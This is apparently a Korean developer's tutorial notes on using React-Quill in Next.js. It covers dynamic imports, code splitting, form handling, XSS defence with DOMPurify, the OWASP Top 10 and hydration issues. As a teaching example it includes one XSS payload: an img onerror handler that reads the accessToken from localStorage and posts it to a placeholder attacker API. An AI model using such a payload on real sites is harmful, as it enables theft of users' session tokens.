React-Quill
: textarea의 단점들을 보완해 stylish 하게 내용을 작성할 수 있도록 도와주는 웹 에디터 라이브러리
- 설치명령어
yarn add react-quill
[실습]//라이브러리와 사용될 스타일CSS파일 호출하기 import ReactQuill from "react-quill"; import "react-quill/dist/quill.snow.css"; export default function WebEditorPage() { const handleChange = (value: string) => { console.log(value); }; return ( <div> 작성자: <input type="text" /> <br /> 비밀번호: <input type="password" /> <br /> 제목: <input type="text" /> <br /> //docs를 참고해서 ReactQuill에 onChange 함수를 넣어준다. 내용: <ReactQuill onChange={handleChange} /> <br /> <button>등록하기</button> </div> ); }
ReactQuil의 onChange는 개발자가 만들어 놓은 커스텀 요소로,
이름만 같을 뿐 jsx의 onChange요소와는 전혀 다른 개념!그러나
에러발생!
이유는?
Next.js 는 기본적으로서버사이드 렌더링
을 지원하는데,
서버에서 페이지를 미리 렌더링(pre-rendering) 하는 단계에서는
브라우저 상이 아니기 때문에 window나 document가 존재하지 않는다.
window 또는 document object 를 선언하기 전
이기 때문에
document가 선언되지 않았다는 에러가 발생하는 것!이 문제를 해결하기 위해서는 document 가 선언된 시점 이후에 React-Quill을 import 해야 한다.
Next.js 의
dynamic import
방식을 사용해 해결!import dynamic from "next/dynamic"; import "react-quill/dist/quill.snow.css"; import { Modal } from "antd"; import { wrapFormAsync } from "../../../src/commons/libraries/asyncFunc"; // import ReactQuill from "react-quill"; const ReactQuill = dynamic(async () => await import("react-quill"), { ssr: false, }); // let MyModal; export default function WebEditorPage(): JSX.Element { // useEffect(() => { // const aaa = async (): Promise<void> => { // const { Modal } = await import("antd"); // code-splitting(코드스플릿팅) // MyModal = Modal; // }; // void aaa(); // }, []); const onClickSubmit = async (): Promise<void> => { const { Modal } = await import("antd"); // code-splitting(코드스플릿팅) Modal.success({ content: "게시글 등록에 성공했습니다.", }); }; const onChangeContents = (value: string): void => { console.log(value); }; return ( <form onSubmit={wrapFormAsync(onClickSubmit)}> 작성자: <input type="text" /> <br /> 비밀번호: <input type="password" /> <br /> 제목: <input type="text" /> <br /> 내용: <ReactQuill onChange={onChangeContents} /> <button>등록하기</button> </form> ); }
Next.js에서 제공하는 dynamic은,
해당 모듈의 호출시점을 document 에 대한 정보가 선언된 후의 시점으로 옮겨서 호출 할 수 있게 도와준다.즉, 빌드되는 시점에서 호출하지 않고
런타임 시점에서 모듈을 호출
해서
이미 documnet 가 선언되어 있는 시점의 환경을 제공해줄 수 있다.dynamic import는 단순히 ssr 이슈를 해결할 뿐만 아니라 성능최적화에도 기여를 한다.
다운로드가 반드시 필요하지 않는 부분은 dynamic import를 사용해
필요한 시점에 다운 받아 올 수 있도록 하면 초기에 다운속도가 향상되어 초기 로딩속도가 향상된다.이렇게 필요한 시점에 import 해올 수 있도록 도와주는 것을 코드를 분리했다고 해서 코드 스플릿팅이라고 한다.
import dynamic from "next/dynamic"; import { useForm } from "react-hook-form"; import "react-quill/dist/quill.snow.css"; import { wrapFormAsync } from "../../../src/commons/libraries/asyncFunc"; const ReactQuill = dynamic(async () => await import("react-quill"), { ssr: false, }); export default function WebEditorPage(): JSX.Element { const { register, setValue, trigger } = useForm({ mode: "onChange", }); // ReactQuill 에서 지정된 onChange 이므로 event 말고 value가 들어오게 설정되어있음 const onChangeContents = (value: string): void => { console.log(value); // useForm이 내용(contents)에 입력된 데이터까지 인식하도록 할 수 있게하는 법? register로 등록하지 않고, 강제로 값을 넣어주자!! //조건부 렌더링으로 React-Quill에 값이 입력되었다가 지워졌을 때 남는 찌꺼기 태그도 없애준다. setValue("contents", value === "<p><br></p>" ? "" : value); //하지만 값만 변경되었을 뿐, contents의 입력 여부는 검증할 수 없다. // onChange의 여부를 trigger요소를 이용해 react-hook-form에 알려주는 기능!! void trigger("contents"); }; const onClickSubmit = async (): Promise<void> => { const { Modal } = await import("antd"); // code-splitting(코드스플릿팅) Modal.success({ content: "게시글 등록에 성공했습니다.", }); }; return ( <form onSubmit={wrapFormAsync(onClickSubmit)}> 작성자: <input type="text" {...register("writer")} /> <br /> 비밀번호: <input type="password" {...register("password")} /> <br /> 제목: <input type="text" {...register("title")} /> <br /> //onChange 요소가 들어간 ReactQuill 내용 컴포넌트에는 register가 적용되지 않는다. 내용: <ReactQuill onChange={onChangeContents} /> <button>등록하기</button> </form> ); }
export default function WebEditorPage() { const router = useRouter(); const { register, handleSubmit, setValue, trigger } = useForm<IFormValues>({ mode: "onChange", }); const handleChange = (value: string) => { console.log(value); setValue("contents", value === "<p><br></p>" ? "" : value); trigger("contents"); }; const onClickSubmit = async (data: IFormValues) => { if (!(data.writer && data.password && data.title && data.contents)) { Modal.warning({ content: "필수 입력 사항입니다." }); return; } try { //해당함수 안에 createBoard 요청을 넣고, 요청 성공시 해당 게시글의 상세 페이지로 이동하도록 다이나믹 라우팅을 해준다. const result = await createBoard({ variables: { createBoardInput: { writer: data.writer, password: data.password, title: data.title, contents: data.contents, }, }, }); // 완료된 페이지로 이동!! router.push(`/27-04-web-editor-detail/${result.data?.createBoard._id}`); } catch (error) { if (error instanceof Error) Modal.error({ title: error.message }); } }; return ( //form으로 감싸고, form에 onSubmit 요소 더하기 //handleSubmit을 이용해서 submit 버튼 클릭 시 실행할 함수를 onSubmit에 넣는다. <form onSubmit={handleSubmit(onClickSubmit)}> 작성자: <input type="text" {...register("writer")} /> <br /> 비밀번호: <input type="password" {...register("password")} /> <br /> 제목: <input type="text" {...register("title")} /> <br /> 내용: <ReactQuill onChange={handleChange} /> <br /> <button>등록하기</button> </form> ); }
- routing으로 연결된 상세페이지
import { useQuery, gql } from "@apollo/client"; import { useRouter } from "next/router"; import { IQuery, IQueryFetchBoardArgs, } from "../../../src/commons/types/generated/types"; import Dompurify from "dompurify"; const FETCH_BOARD = gql` query fetchBoard($boardId: ID!) { fetchBoard(boardId: $boardId) { _id writer title contents } } `; export default function WebEditorDetail() { const router = useRouter(); const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>( FETCH_BOARD, { variables: { boardId: String(router.query.id) }, } ); return ( <div> <div>작성자: {data?.fetchBoard.writer}</div> <div>제목: {data?.fetchBoard.title}</div> <div>내용: {data?.fetchBoard.contents}</div> </div> ); }
작성페이지에서 게시글 입력 후 등록요청을 보내면,
상세페이지에서는 HTML태그가 포함된 내용이 들어온다.이때 웹 에디터로 작성한 내용은 HTML 태그가 포함된 문자열로 입력이 되기 때문에
HTML 태그들을 노출하지 않으면서 HTML 기능만 적용된 형태
로 화면에 출력해야 한다.그러나 React 프로젝트에서는
기본적으로 HTML 보안 이슈로 인해 HTML 태그를 직접 삽입 할 수 없게 설정되어 있다.따라서 위험을 감수하고 추가하려는 HTML 태그를 작성해야한다.
✔️ dangerouslySetInnerHTML 속성 이용하기
export default function WebEditorDetail() { const router = useRouter(); const { data } = useQuery<Pick<IQuery, "fetchBoard">, IQueryFetchBoardArgs>( FETCH_BOARD, { variables: { boardId: String(router.query.id) }, } ); return ( <div> <div>작성자: {data?.fetchBoard.writer}</div> <div>제목: {data?.fetchBoard.title}</div> <div dangerouslySetInnerHTML={{ __html: String(data?.fetchBoard.contents)}} /> </div> ); }
div 또는 span 태그에 제공되는 속성이며, __html 속성 값에 추가하려는 데이터를 입력해준다.
또한, div 및 span 태그로 dangerouslySetInnerHTML 를 사용한다면
반드시 < />빈 태그 형식으로 작성해야 한다.
dangerouslySetInnerHTML을 이용하면
웹에디터에 입력한 html 태그가 적용된 형태로 내용을 받아올 수 있다.
하지만 공격 받을 여지가 매우 큰 위험한 방식임!!!공격사례예시)
<img src="#" onerror=" const aaa = localStorage.getItem('accessToken'); axios.post(해커API주소, {accessToken = aaa}); " />
- onerror : 해당 img태그를 정상적으로 불러오지 못했을 때 실행되는 요소로, 일반적으로는 대체 이미지 경로를 입력한다.
간단한 예시 코드에 불가하지만,
onerror 안에는 여러 줄의 javascript도 넣을 수 있기 때문에
dangerouslySetInnerHTML을 이용할 경우 유저의 민감 정보의 탈취위험이 노출되어 있다.즉, dangerouslySetInnerHTML가 실행되면 localStorage 내의 accessToken을 훔칠 수 있게 된다.
다른 사이트의 취약점을 노려서 javascript 와 HTML로 악의적 코드를 웹 브라우저에 심고 사용자 접속 시 그 악성 코드가 실행되도록 하는 것을
크로스 사이트 스크립트 (Cross Site Script / XSS)
라고 한다.방어할 수 있는 방법은?
✔️ Dompurify 설치
: 공격 코드가 들어있으면 자동으로 차단해주는 라이브러리
- 설치 명령어
yarn add dompurify
yarn add -D @types/dompurify
[실습]
import { useQuery, gql } from "@apollo/client"; import { useRouter } from "next/router"; import Dompurify from "dompurify"; const FETCH_BOARD = gql` query fetchBoard($boardId: ID!) { fetchBoard(boardId: $boardId) { _id writer title contents } } `; export default function StaticRoutingPage(): JSX.Element { const router = useRouter(); console.log(router); const { data } = useQuery(FETCH_BOARD, { variables: { boardId: router.query.qqq }, }); console.log(data); return ( <div> <div>게시글 이동이 완료되었습니다.</div> <div>작성자: {data?.fetchBoard?.writer}</div> <div>제목: {data?.fetchBoard?.title}</div> //DOMPutify를 적용해서 안정성을 확보 //서버 사이드 렌더링 에러를 해결하기 위해 다음과 같은 조건부 렌더링을 추가 {typeof window !== "undefined" && ( <div dangerouslySetInnerHTML={{ __html: Dompurify.sanitize(data?.fetchBoard?.contents), }} /> )} </div> ); }
OWASP란?
Open Web Application Security Project의 약자로오픈소스 웹 애플리케이션 보안 프로젝트
를 의미한다.주로 웹 관련 정보노출이나 악성파일 및 스크립트, 보안 취약점을 연구하며 10대 취약점을 발표하며
3-4년에 한 번씩 정기적으로 업데이트 된다.
- A01 : Broken Access Control (접근 권한 취약점)
- A02 : Cryptographic Failures (암호화 오류)
- A03: Injection (인젝션)
- A04: Insecure Design (안전하지 않은 설계)
- A05: Security Misconfiguration (보안설정오류)
- A06: Vulnerable and Outdated Components (취약하고 오래된 요소)
- A07: Identification and Authentication Failures (식별 및 인증 오류)
- A08: Software and Data Integrity Failures(소프트웨어 및 데이터 무결성 오류)
- A09: Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패)
- A10: Server-Side Request Forgery (서버 측 요청 위조)
매년OWASP 상위권을 유지하는 것 중 하나가
Injection
SQL쿼리문을 작성할때 조건을 통해 데이터를 주고 받는데,
이 조건을 직접 조작하여 공격하는 기법이다. 현재는 ORM을 사용해 막고 있다.
- detail page
return ( <div> <div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div> {typeof window !== "undefined" && ( <div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div> )} <div style={{color: "blue"}}>내용: 반갑습니다!<div> </div> )
각 div태그에 color라는 스타일을 적용하고 yarn dev로 렌더링된 모습을 확인해보면,
지정해준 제목부분의 green 색상이 적용되지 않는 것을 확인할 수 있다.
이런 현상이 바로 Hydration Issue 때문이다!✔️ Next.js의 페이지 그리는 과정
Next.js는 이 중 diffing 단계에서 태그를 기준으로 비교하기 때문에,
프론트엔드 서버에서 pre-rendering된 결과물
과
브라우저에서 그려진 결과물
의 태그 구조가 다를 경우 CSS가 코드와 다르게 적용된다.그렇기 때문에 브라우저에서만 렌더링되는 태그가 있을 경우,
삼항연산자를 이용해서 프론트엔드 서버에서도 빈 태그가 들어가 있도록 만들어줘야 한다.▼ 수정된코드
return ( <div> <div style={{color: "red"}}>작성자: {data?.fetchBoard.writer}</div> {typeof window !== "undefined" ?( <div style={{color: "green"}}>제목: {data?.fetchBoard.title}</div> ) : ( <div style={{color: "green"}} /> )} <div style={{color: "blue"}}>내용: 반갑습니다!<div> </div> )